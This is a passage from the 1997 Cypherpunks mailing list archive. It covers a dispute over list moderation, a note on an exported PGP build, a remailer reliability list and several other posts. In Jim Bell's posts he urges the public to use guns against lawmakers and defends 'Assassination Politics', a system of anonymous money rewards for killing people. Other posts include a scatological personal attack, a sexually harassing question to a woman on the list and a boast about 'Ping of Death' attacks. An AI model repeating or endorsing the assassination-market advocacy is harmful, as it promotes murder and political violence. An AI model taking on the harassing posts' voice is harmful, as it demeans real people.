thereby, a censor? Well I am examining "other material" >and I am making judgments with regard to whether or not it is >"objectionable," unfortunately for Tim's argument, I am neither >"removing" nor "supressing" anything. Anybody can read anything >that gets posted to Cypherpunks--in two places. I am sorting, >but even my sorting can be completely avoided. Sophistry. >> * OK, even given that John had decided to censor "his" list, what about his >> choice of Sandy Sandfort as the censor? > >John didn't choose me, I approached him. I offered my opinion as >to what I thought HE ought to do about the list disruptions. The >short version of his answer was, "if you think you can do a >better job, go for it." I accepted the challenge, so here I am. >I don't want this job. If the list members decide to keep the ^^^^^^^^^^^^^^^^^^^ By the way, how is this to be "decided"? A democratic vote of the herd? Do all "*2000*" get a vote? Are we moving from benevolent dictatorship to direct democracy? >> * Nor do the announced criteria make any sense. While the inane one-line >> scatological insults have been filtered out, many "flames" make it through, >> based on what I've seen in perusing the hks archive site. And some >> reasonable comments get dumped in the flame bucket. > >Very possibly true. Moderation is like crypto, perfection isn't >and option. However, a 90% solution is a heck of a lot better >than no solution at all. Yes, I've made what I consider to be >errors, but I think on some, I've done a very good job overall. You seriously think that establishing the idea that "even the Cypherpunks group accepts the need for censorship of unpopular views" is worth the minimal bandwidth savings of not having some of the scatological one-liners and insults? The huge amount of list animosity (so much for "comity") and bandwidth on this censorship issue dwarfs the bandwidth taken up by the Vulisgrams. >> * (Frankly, one of my considerations in leaving was the feeling that I >> would never know if an essay I'd spent hours composing would be rejected by >> Sandy for whatever reasons.... > >Tim, I think this is disingenuous. I have been quite clear on >my moderation criteria. You are too intelligent to feign such >a lack of understanding. As I noted earlier, you yourself said it was a "judgment call" for you to not put my message in the flames pile. So, did I truly not understand your criteria for approval (which means I wasn't feigning ignorance), or did I understand that which you yourself acknowledged having to make a judgment call (kissing cousin to a "guess" where I come from) on? If you are unsure whether to dump a major, substantive essay into the flames pile or allow it to be read by the main list, then this makes my point precisely. I don't want Sandy Sandfort sitting in judgment on my posts, deciding what the Cypherpunks--a group I co-founded for God's sake!!!!--are to be allowed to read and what they may not. (Saying what Sandy is doing is not "censorship" but is only "sorting" is pure sophistry.) >> maybe he might think my essay was off-topic, > >Clearly not a criterion I ever enunciated. Another part of the problem is that the standards have not been clearly stated. "Flames" have not been defined in any meaningful way. Apparently it's OK for you to refer to my arguments as "disingenuous" and "piffle," but referring to someone's repeated ravings about how O.J. was framed is "flaming." Piffle. >> * The decision to "moderate" (censor) the Cypherpunks list is powerful >> ammunition to give to our opponents, > >Piffle. Letting spoiled children destroy the list puts a far >more powerful weapon in the hands of our enemies. See what I mean? "Piffle." ("piffle, n. Foolish or futile talk or ideas") Hardly a substantive argument. I'd call it an insult. And I'll bet that if Phill Hallam-Baker dismisses an argument with a "foolish" one-line characterization, it will be viewed as a flame. (Well, not now, now that Sandy is apprised of this.) >> and Vulis is certainly gleeful that >> his fondest wishes have been realized. > >I do not have a crystal ball. My Vulcan mind meld is in the ^^^^^^^^^^^^^^^^ Ah, a non-flamish way of making an argument. Dismissive jokes substituting for responding to my _opinion_. >> (I would venture a guess that a Duncan Frissell would almost certainly get a >> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to >> get a leftist rant past him.) > >I sorry Tim gives me so little credit. Rather than merely post a >self-serving denial, I would ask that Phill confirm or deny Tim's >supposition. To the best of my recollection, I have sent only >one post of Phill's to the Flames list. It flamed Jim Bell. As >far as moderating political rants go, I'm agnostic. Again, look at what the Cypherpunks list has become! Because some of the barnyard insults were getting to some people, we now have a situation where a thoughtful commentator like Phill H-B (who I rarely agree with, by the way, but his essays show he's thinking about issues deeply) has his stuff sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique of Bell's "assassination politics" ideas and the way he presents them, perhaps with a single flamish comment (a la the comment I made that caused Sandy to almost mark my entire essay as unfit for Cypherpunks)? I urge Phill, or others, to retrieve this offending article and repost it. Or use "*%&$" symbols where the banned flame language was contained, so it will pass muster with Sandy. Then we can better judge just what we're giving up in order to have the kind of "comity" which Sandy thinks he is creating. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jimbell at pacifier.com Mon Feb 3 00:38:05 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 00:38:05 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702030837.AAA08330@mail.pacifier.com> At 07:10 PM 2/2/97 -0600, ichudov at algebra.com wrote: >jim bell wrote: >> >> Better yet, set up a system to encourage the public to USE those guns (and >> other weapons) to get rid of the people who pass such laws, and the problem >> is solved. >> > >How about this scenario: I borrow 1 million dollars from, let's say, >Phill Hallam-Baker. Not wanting to pay it back, I pay to the >assassination bot and arrange him to be murdered. Simple. Even if a lendor dies (whether by murder or some other cause, perhaps undetermined) you (the debtor) presumably will still be obligated to pay back the debt, to his estate if nowhere else. If you WEREN'T responsible for the killing, you should still make the payments. If you do, then you had no reason to kill him in the first place. Even in the hypothetical scenario that the lendor is single, has no family or other likely heirs, it would be in his interest to declare that his estate goes to charity, including debts to it such as yours. After all, we can assume that he doesn't want to get murdered, and the best way of avoiding that fate is to remove whatever incentive might otherwise exist for anyone else to kill him. Making sure that all of his debtors are revealed would make it difficult for any of them to get away with murder. Or, at least, prevent the fact of such a murder from eliminating the need to repay the debt. If the fact of the loan were revealed, perhaps only after the lendor's death, and ALSO the fact that you (alone among his other debtors) refused to pay it back, everyone else in that society might reasonably come to the conclusion (absent proof or a good explanation to the contrary) that you were probably responsible for the death. At the very least, they wouldn't want to deal with you for fear of a similar outcome (non-payment or death), and some of the public would be likely to punish you by donating money to see you dead. They would do this, even if they had no particular link to the dead lendor, precisely because the publicity from such an outcome would deter other people who might be contemplating a similar thing. The logic is essentially the same as the situation where a person would donate small amounts money to see car thieves dead, even if his car hadn't (yet) been stolen: If it is essentially certain that such a penalty will always exist, it will tend to deter future incidents. All car owners have a motivation to maintain that system. >Another story: suppose that I negligently caused fire that destroys >house of, say, Toto. Toto knows that if he sues me, I can arrange him >murdered for the amount less than the amount of damages. As he could, you. Remember, if your bad actions were publicized, your reputation would suffer. If he's satisfied that you are guilty, and can prove it to others, you'll be in trouble to have the information published. (On the other hand, if nobody knows it was you who were responsible, you won't suffer, but that's no worse than the status quo.) > As a result, >he refrains from suing me, or (if he is a mean person) pays additional >money to have me murdered. A suit would probably be a much better outcome. A "suit" implies that he needs assistance to get the fact of the obligation enforced. Assuming he has enough proof to win a lawsuit, he has more than enough proof to sour everyone else on dealing with you in the future, and possibly get them to donate to see you dead. Do you risk it? >Another story: suppose that OKSAS hired me to work for her, but then >our relationships go south and she fires me. Again, her fate is very >unclear, although I would probably spare her life if it were she. > >The bottom line is, it becomes very hard to do ANYTHING that disappoints >at least somebody. That can lead to a lot of inefficiencies. I predict that agreements will simply change to avoid (or anticipate) such disappointments, in order to ensure that neither party feels "taken" if things don't work out as planned. Or, if there is an innocent-and-unavoidable breach of the agreement that harms one person, the other will be motivated to make it up to the first. In effect, they'll have to find a mutually-agreeable middle ground. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Mon Feb 3 00:39:45 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 00:39:45 -0800 (PST) Subject: Free & Open Society & toleration (fwd) Message-ID: <199702030837.AAA08320@mail.pacifier.com> At 10:18 PM 2/1/97 -0600, Jim Choate wrote: > >Forwarded message: > >> Nobody has a problem with your ideals, it's just that Jim Bell is >> trying to say (correct me and forgive me if I'm wrong) that: >> >> 1. Society will never subscribe to your ideals. > >But other than two points they already do. The two points being, > >1. Libel is a recognized legal concept now, the difference is one of degree. Maybe this will appear to you to be too-subtle a distinction, but I don't share the misimpression of equating what "society" (the citizenry?) accepts and what government-types accept. For instance, as I understand it the public uniformly rejects the concept of wiretaps as a method of law-enforcement, yet they are done anyway. In effect, it would be correct both to say: a. Society will never accept wiretapping. (where "society" is defined as the collection of individuals) as well as saying... b. Wiretapping is a "recognized legal concept now." (because the implication is that "recognized" refers to a tiny subset of society, the thugs who run the "justice system.") Now, it's my own personal opinion that wiretapping is unconstitutional, but is done anyway for the same reason other unconstitutional things are regularly done by government: Despite public disapproval, the public is never actually given the opportunity to make the decision. The fact is, libel lawsuits are apparently a rather rare "tool" that we don't even need. Perhaps a REAL LAWYER who is aware of the statistics can tell us how often they actually occur. I argue that something that rare is, almost by definition, not really needed. >My solutions to these two issues are: > >1. Removal of the lawyer from the ultimate choice of whether the case > should be pursued. Yes, I'd like to "remove a few lawyers," as well. Not quite the way you would, however. >4. By the implimentation of a bond proviso on the part of the plaintiff > the system provides a check and balance reducing nuisance cases as > well as reducing the taxation load on the citizenry. Why not a full "loser pays" system? And I mean NOT ONLY for civil cases, but also criminal cases! Perhaps the government would be a bit less enthusiastic about harassing drug defendants if it was forced to pay for their acquittals after a FIJA loss! Consider, for example, that if the government had to pay after a loss, it would become very difficult for the government to harrass a person like Phil Zimmermann, unlike today where charges can be brought even if it is recognized they won't stick, secure in the knowledge that he'd be out a great deal of money in his defense. How much sweeter would the victory be if all costs were compensated? > >> 2. Society is not static, i.e., instead of remaining at a constant >> level of corruption, the officials will keep demanding more, >> until there's a sudden, catastrophic break. > >Absolutely, that is one of the reasons I refuse to seperate those who >represent the social contract (eg the Constitution) and those who are >impacted by it, which includes even those who represent it and enforce its >various responsibilities. AP relies on this distinction as axiomatic. Do you always produce such opaque commentary? Perhaps you could re-write the above statement in ordinary English. The reality is, the guarantees supposedly provided by the US Constitution are guarantees in name only. The system is thoroughly corrupted and biased. >This >axiomatic view is ultimately based in a jealous greed for what others have >(ie power, percieved or real) and the implicit belief that all people are >NOT created equal. It's hard to know how you come to this conclusion. If anything, what I'm trying to do is to permanently destroy a system which has allowed a tiny fraction of society to control things for the rest of us for centuries, and longer. If anything, it is the system I'm trying to destroy which has taken the position that, in reality, people are not equal. On the other hand, I'm NOT a proponent for "egalitarianism," or enforced equality, at all! I'm confident that once the system is dismantled that enforces inequality on us, we can live with the result. >> 3. The AP solution has the potential to stabilize the level of >> corruption, which should make violent revolutions and genocide >> unnecessary. > >But it doesn't. What it does is provide a mechanism for de-stabalization. >Just look at the Middle East and the history of assassination. >Assassinations have never stabalized that region or any other. It's interesting that I keep seeing the same misinterpretations of the AP system. AP is not simply about killing people. And no, it hasn't been tried before. The occasional assassination is no more like AP than a random shot in the dark is like a well-aimed round. The first may, rarely, do the same thing as the second, but there is no prospect of a likely repetition. _SOME_ people seem to "get" this, why not you? The _absolutely_essential_ element that distinguishes AP is the system that allows people's individual desires to be denominated in terms of money, and accumulated until an anonymous person satisfies that desire and collects the reward. And, moreover, that this system remains in place forever. > There is >nothging in our current understanding of human psychology and social >interactions that leads to the conclusion that threats of violence will >necessarily force people to comply. If it did the government (as perceived >by AP) would not have to deal with real opposition. Simply threaten the >opposition and it melts away for the same reason that supposedly the >government would cease to oppose radicalism (ie changes in the status quo >forced by small groups upon the masses). If anything every real world >example of AP demonstrates an increase in corruption (eg. Beirut). I keep telling you that "AP has never been tried before." > >The closest analog in history to AP is the "Flowery Wars" as practiced by >the Aztecs. However, these were motivated by a belief in religous homogeneity >and not one of politics. Also, implicit in this was the axiomatic acceptance >of a real class seperation between those who ruled and those who were ruled. >By no means could one accept the premise that this caused the Aztec rulers >to be more sensitive to corruption or the continued existance of their >system. Another good example is assassination in ancient Rome, it is clear >that such activities in no way reduced corruption. AP is NOT the same thing as mere assassination. Period. If anything, there are excellent reasons why ordinary assassination can, indeed, increase corruption while the AP system would reduce it. The most obvious difference is this: The motivations are vastly different. Heretofore, assassinations have occurred based on the desires of only a tiny fraction of the population. Often one person, or only a few. In other words, the assassinations which DO occur are NOT the ones that "the rest of us" would choose. The latter type DO NOT occur! >If anything AP provides a rationale (ie self-defence) to impose even harsher >a priori conditions on sections of a society by another part of that society. >Hardly what I would consider a stabalizing condition let alone democratic. It isn't necessary that any system be "democratic." "Democracy" assumes that certain questions need to be answered by VOTE, as opposed to simply allowing individuals to answer those questions for themselves. We don't all get together and vote on what religion we'll all be forced to observe, do we? No. That's because it is accepted that certain areas are off-limits for even a "democratic" system to decide. We don't have a national vote to decide what color to paint ALL of our houses. We don't have a vote to decide what meal to eat next Thursday. Well, in my opinion there are few if any proper functions for a so-called "democratic" system. That's because I believe that most if not all decisions currently made in any "democratic" system shouldn't be made at that level at all! >What is required for stability is for each group to feel unthreatened and >secure in expressing their beliefs without fear of reprisals and at the same >time recognizing they must provide room for others beliefs. There must also >be the realization that refusal to abide by these precepts will be met with >immediate consequences. Something AP can't do, as it explicitly promotes >threats and the carrying out thereof. You clearly don't understand it! Jim Bell jimbell at pacifier.com From nobody at huge.cajones.com Mon Feb 3 00:48:13 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 3 Feb 1997 00:48:13 -0800 (PST) Subject: PGPmail 4.5 exported Message-ID: <199702030848.AAA20795@mailmasher.com> There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. Could somebody who bought the software check that this is the same file. It is presumably free for use outside of North America, since PGP Inc. can't be expected to accept payment from foreigners... :-) From woody at hi.net Mon Feb 3 01:12:19 1997 From: woody at hi.net (Howard W Campbell) Date: Mon, 3 Feb 1997 01:12:19 -0800 (PST) Subject: moderation sucks Message-ID: <32F5ABC9.6594@hi.net> �unsubscribe cypherpunks at toad.com From lwjohnson at grill.sk.ca Mon Feb 3 01:24:25 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 01:24:25 -0800 (PST) Subject: PGP 2.1 In-Reply-To: <199702022225.OAA03367@toad.com> Message-ID: <32F5C84E.10B9@grill.sk.ca> Mark Henderson wrote: > > Larry Johnson writes: > > Hello, > > Can any;one tell me how to get a version of PGP 2.1? > > Thanks > > > But, why do you want version 2.1? Because the guy who wrote it was let off after that on his jail charges, so I'm not going to use anything he made after that if I don't know why. I'm not saying that he rolled over or nothin buyt I'm gonna be paranoyd like he said in the book. I dont suposse he'd mind, since he said it. I'm not real smart sometimes but I'nm not a real lamer, either. (I don't think) From winsock at rigel.cyberpass.net Mon Feb 3 02:01:32 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Mon, 3 Feb 1997 02:01:32 -0800 (PST) Subject: Shave the Whales Message-ID: <199702031001.CAA08382@sirius.infonex.com> The arrival of warm weather is heralded by the pig shit getting soft in Dainty L Vinegar's mini-cranium and the resulting green slime seeping through his cocaine- and syphilis- damaged nose and onto his keyboard. ^-^-^-@@-^-^-^ (..) Dainty L Vinegar From lwjohnson at grill.sk.ca Mon Feb 3 02:59:37 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 02:59:37 -0800 (PST) Subject: Trigger-Words...Trigger-Fingers In-Reply-To: <199702021555.HAA25437@toad.com> Message-ID: <32F5E155.2B0F@grill.sk.ca> Cynthia H. Brown wrote: > You would need to run a sniffer at a "choke point" of an > organisation, for example the external router to the Internet, to > capture all of the packets to / from that organisation. Putting a > sniffer on some arbitrary router out there in cloud-land would > probably not be all that productive, since there's no guarantee that > all of the IP packets carrying a given TCP connection would take the > same route. > > Cynthia > > Junk mail will be ignored in the order in which it is received. > > It is morally as bad not to care whether a thing > is true or not, so long as it makes you feel > good, as it is not to care how you got your money > as long as you have got it. > > - Edmund Way Teale, "Circle of the Seasons" Thats a good thing to say. I wonder howcom no one on this list figures that all the cool things they say at the end should be thoght about when it comes to what everyones doing on the list, with all the carp and the like. (I maeant _crap_) Everyone talks like their real smart, but I wonder if their not just a bunch of lamers if they cant get their problems fixed without doing all the stuff their mottos and stuff say not to do. I'm on some lists run by kids and they don't tell anyone to shut up but they still dont have to get all that stuff from the guys advrtising because the kids running it know how to use their computers. It sounds like a bunch of old guys on this list, since they don't think someone should be called a dork when they _are_ one. If their old then maybe they could ask their kids how to get rid of all the lamer-stuff. But if they just want the other guys on the list to shut up then their lamer-guys themselves, probablly7. I guess all the Canadian guys are on the flame list, eh?, because they're all hockey players. I'm only on the list because I got a bunch of your mail that someone put _fuck_you_ at the top, and when I tracked him down and gave him hell, he used my internet guys to send bogus posts to you guys. My uncle got on his machine and fixed it so it sends itself the Ping of Death from a remailer. Hes been doing that for years, but only to lamers who screw with him, otherwise he minds his own business. Theres not many girls on this list, is there? Do you spit or swallow? (Thats a joke---you dont have to answer) Are you married? I bet the guys on the list dont like it because you sound a whole lot smarter than a lot of them. Old guys think that girls arent good with computers, except for my uncle. He has to give a forteen year old girl on my list a hundred dollars because she got the Ping Of Death past his firewall when his buddies at Lost Alamo New Mexico couldnt, and their supposed to be experts because they belong to secret stuff and some of them are cypherpunks, too, but they don't let anyone know about it. Anyway, myu ncle prints out the girl-cypherpunks stuff for the girls on my list and they think its real cool and they all want to marry technicians so that they can make them work on the computers for them, kind of like making them do the computer dishes, you know. I'm supossed to be in bed, but Im not, but I have to go. My uncle is going to be mad when he finds out I'mn on cypherpunks but the rule is that if I get on his secret machine I can do anything I want to. When his machine boots Duke Nukem 3D is going to boot up and he's going to be really m-bare-assed. He will shit when he finds out I'm on cypherpunks list but it was because of him that the guy started sending me all that junk from you so he cant say nothing. (I hope!!!!) He could whack those guys sending you penis drawings and stuff, because he had his friends at Lost Alamo set up some remailers or get into them or something to find out who it was, but hes not supposed to interfere with your stuff but just watch and give people hints of stuff they already know and stuff like that. He says you guys arent lamers (even if you cant keep penis drawings off your machine) but just dont care anymore about fixing your problems yourself. I still think that you should just let your kids run your machine or just pick the guy with the coolest name, like Attila the Hun or Genocide or OttOmatic. I've got to go to bed really! p.s. - My lists go t mail from fuck at yourself.up too but we didn't _run_ his stuff, and were only kids. My uncle says you guys did. (I wont call you guys a _lamer_ cause that would make me a _flamer_) p.p.s. -> It is morally as bad not to care whether a thing > is true or not, so long as it makes you feel > good, as it is not to care how you got your _list_ > as long as you have got it. > > - B. D'Shauneaux, "Circle of the Eunuchs" (You guys should really read your own scrips at the end of your messages sometimes and see if your doing it yourselfs) Goodnight, you have a nice name and I bet your pretty too. Human Gus-Peter From harka at nycmetro.com Mon Feb 3 05:50:51 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Mon, 3 Feb 1997 05:50:51 -0800 (PST) Subject: My Departure, Moderat Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hi there, > ...and saw no point in wasting even more of my time arguing against the New > Cypherpunks World Order, as the NCWO was clearly presented as a fait > accompli, not something ablut which opinions of list members (or even list > _founders_, at least not me) were being sought. -=> Quoting In:sandfort at crl11.crl.com to Harka <=- In> Factual error #2. There was a call for comment; Tim chose not to In> do so. In retrospect, I wish we had run it by Tim, Eric and In> Hugh in more detail before making the annoucement, but we didn't. In> Certainly a tactical error and a breach of protocol, but not the In> end of the world. Sorry Tim. I should have spoken to you first. Tactical error and breach of protocol, but not the end of the world?? Very weak and dangerous argument. I already hear the Administration saying: "Oh sorry, we didn't tell you about the new wiretaps affecting 50 percent of all phone lines. Certainly a tactical error and a breach of protocol, but HEY, it's _not_ the end of the world! Plus, it's good for you!" > * But the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider > these hosts to be the "owners" of the Cypherpunks group?... In> I think this is a Straw Man. John and I have never argued that In> John "owns" cypherpunks. When a Cypherpunk meeting is held in In> someone's living room, however, I don't think it's asking to much In> to ask everyone to follow the local rules (e.g., "no shoes in the In> house" or "no smoking" or even "no ad hominem attacks"). As Tim In> is fond of saying, "my house; my rules." I don't think this In> means Tim "owns" a physical meeting in his house. It really doesn't matter. I do agree, that having a meeting in, let's say, your house, everybody has to submit to the "local rules", i.e. no shoes, no smoking etc.. To avoid those rules means not to go to that location. However, any rules in a certain location do NOT affect speech. While I may enforce the rule for people not to smoke in my house, I can't enforce anything in regards to their speech. The mere try would be counterproductice to having a meeting in the first place. On a mailing list like this one, trying to enforce certain _subjective_ standards is even more counterproductive, especially on the self-proclaimed fore-front of liberty (Cypherpunks). I do agree with TCM, that this is an argument for the very enemies of free speech and neglecting the individual filtering-capabilities of each subscriber. In> no evidence that it has made things worse. Remember, there are a In> hand-full of subscribers to the Flames list, 20-30 on the In> Unedited list and *2000* or so on the Moderated list. Sure some In> of that may be due to laziness, but it would be cavalier in the In> extreme to claim that such an overwhelming acceptance of In> moderation is merely an artifact of inertia. Not necessarely. By subscribing the regular way: one gets on the moderated list by default. It might take (esp. new) people a while to realize, it's moderated. And since it's Cypherpunks, they subscribed to, they don't even _expect_ such things in the first place... I'd do it vice versa, having them subscribe to unedited by default and only if they make the effort (deliberate choice) to get on any kind of moderated version, they can do so by sending a message to majordomo. Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1 KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3 MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt 9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA== =f+Ki -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From lwjohnson at grill.sk.ca Mon Feb 3 06:40:56 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 06:40:56 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031440.GAA25293@toad.com> For what it's worth, I think that this Tim May, not being a user of the list, has no place to talk. His type, to me, characterate those who quit something and complain later, knowing that some people will listen to them. So what, if he decided to leave? It was his own choice and he can't just come back and say everyone who stayed is now impelled to listen to him, just because he used to do a bunch of posts. I don't think that hardly any of you would listened to me later if I left the list. From mpd at netcom.com Mon Feb 3 06:41:01 1997 From: mpd at netcom.com (Mike Duvos) Date: Mon, 3 Feb 1997 06:41:01 -0800 (PST) Subject: Gilmore's Moderated Cypherpunks List Message-ID: <199702031441.GAA25301@toad.com> Our Former Titular Leader Bails and Expounds Thusly Over the Smoking Remains of the Once Mighty Cypherpunks List: > First, I don't argue that John Gilmore is unfree to do as > he wishes with his machine, toad, which has been the major > machine host for the Cypherpunks list. John can tell us we > have to write in Pig Latin if he wishes. Freedom of the Press belongs to those who own one. Since there are no legal restrictions on the name "Cypherpunks", anyone with a working box can host a "Cypherpunks List", and individuals may choose to spend their reputation capital improving the S/N ratio of whatever Cypherpunks Lists they favor. In this sense, a "Cypherpunks List" is like a "Webster's Dictionary." Anyone can use the name, and the deluxe leather bound edition put out by a University is better than the tacky newsprint one offered as a premium by your local book club. Gilmore's Moderated Cypherpunks List is one of many forums where Cypherpunks may choose to congregate, some of which carry the name "Cypherpunks," and some of which do not. > I think we should all be very grateful to John for agreeing > to let it run on his hardware, but not let our gratitude > turn into some sort of subservience and blather about how > John "owns" the Cypherpunks group. I think we should have nipped Gilmore in the bud when he censored Vulis, and immediately looked for a new site to host a Cypherpunks list which was not subject to sudden and arbitrary censorship by the site owner. John, of course, would have been perfectly free to continue to host "Gilmore's Moderated Cypherpunks List", and we would have perfectly free not to post there any more. Instead, being comfortable and lazy, we tolerated Gilmore's pathetic attempts to exterminate the pesky Vulis, and given that Vulis was more than a match for Gilmore mentally, the pissing contest soon escalated as the frantic Gilmore took more and more extreme measures to find "the final solution" to the good Doctor's posts. Again, predictable behavior by everyone involved. > Again, is the "Cyherpunks community" the same as the mailing > list? And is the mailing list, hosted at toad, the "property" of > John Gilmore? Of course not. What a silly notion. All mailing lists that survive more than a few months are organized around some strong personality who nudges the list back on-topic when it begins to stray, and who posts articles interesting enough that people will make regular visits to read them. If no one performs this function on a list, the list will die. I think most people will agree with me that Timothy C. May has been the person who performed this function here on Cypherpunks, from its creation until fairly recently. If he chooses not to perform this function on "Gilmore's Moderated Cypherpunks List", that is Mr. Gilmore's tough luck. Perhaps if Mr. Gilmore asks nicely, Dr. Vulis will volunteer. Then again, perhaps not. :) > I'll have more to say about my problems with how things > were handled. Frankly, it smacked of the same kind of fait > accompli decision John made with the unsubscribing of Vulis. > While John had (and has) every legal right to do with his > property as he wished, the effect was very negative. First, > Vulis found other ways to post (duh). Second, the list was > consumed with flames about this, many from Vulis, and many > from others. Third, journalists (who love sizzle over > substance any day of the week) lept into the fray with > articles which gave Vulis the publicity he craved. Fourth, > it sent a message to enemies of liberty that "Even the > Cypherpunks have found it necessary to abandon their > anarchic ways." I agree completely. Do real Cypherpunks want to post to a list run by someone who has undermined their agenda and made them look like hypocritical idiots to the world? Gilmore has done more damage to the good name of Crypto Anarchy in the last few weeks than the government spooks could ever have hoped for in their wildest dreams. > But by making the _main list_ the censored one, this skewed > things considerably. Yes, this was a sleezy and perfidious trick by Gilmore, who apparently wanted to transform "Cypherpunks" into "Gilmore's Moderated Cypherpunks List" by fiat. Even the unedited list was an afterthought to pacify critics, and you can be sure that it will evaporate as soon as he thinks no ones complaints will be heard. > Had there been a debate about the policy, I can think of > several approaches I'd like better. But inasmuch as John > made it clear that there would be no debate (and, perhaps as > part of the "problem," John has not really been a active > member of the mailing list, in terms of participating in the > debates), this is all moot. > In any case, my several years with the list have taken a > huge amount of my time. Given the way this whole thing was > handled, and the way the list is degenerating even further, > it looks like it's good that I'm moving on to other things. Hey - if John Gilmore can attract readers to "Gilmore's Moderated Cypherpunks List" by virtue of his charming personality, more power to him. Really. :) -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From jya at pipeline.com Mon Feb 3 06:48:15 1997 From: jya at pipeline.com (John Young) Date: Mon, 3 Feb 1997 06:48:15 -0800 (PST) Subject: COM_int Message-ID: <1.5.4.32.19970203144238.006c1920@pop.pipeline.com> 2-2-97: "Telecom equipment makers to develop encryption for mobile phones" Matsushita, NEC and Mitsubishi will cooperate in developing scrambler technology to prevent interception of mobile phone calls and other misuse, and will open a research laboratory in Yokohama on Feb. 12. Within five years the facility is to perfect encryption technology to protect wireless communications and data transmissions, and for possible use in electronic commerce. Researchers will work to develop a mobile communications version of "public key" scrambling technology now used to secure data transmitted online. "Electronic Cash Via Wireless Phone, Smart Card In Works" Wireless telephones are about to get a new mission as portable money machines. PacBell intends to test ways to blend its mobile phone technology with a smart card that can dramatically upgrade the intelligence of a wireless telephone. People on the go could transfer funds into the card's memory, slide the card into the phone, and then use the phone as a communications device to buy a variety of goods and services. "Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem Provides Both in a Single Package" The combination MP200-GPS product includes an MP200 rugged CDPD/cellular 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and a choice of magnetic mount or hard mount GPS active antennas. In addition, the MP200-GPS includes an internal microcontroller, so it can operate without a PC or mobile data terminal as a standalone tracking monitor. A remote host computer can wirelessly program the unit to report position on a preset timeout, whenever the unit moves a certain distance, or if an external alarm is triggered. ----- COM_int From raph at CS.Berkeley.EDU Mon Feb 3 06:50:26 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 3 Feb 1997 06:50:26 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702031450.GAA01129@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; 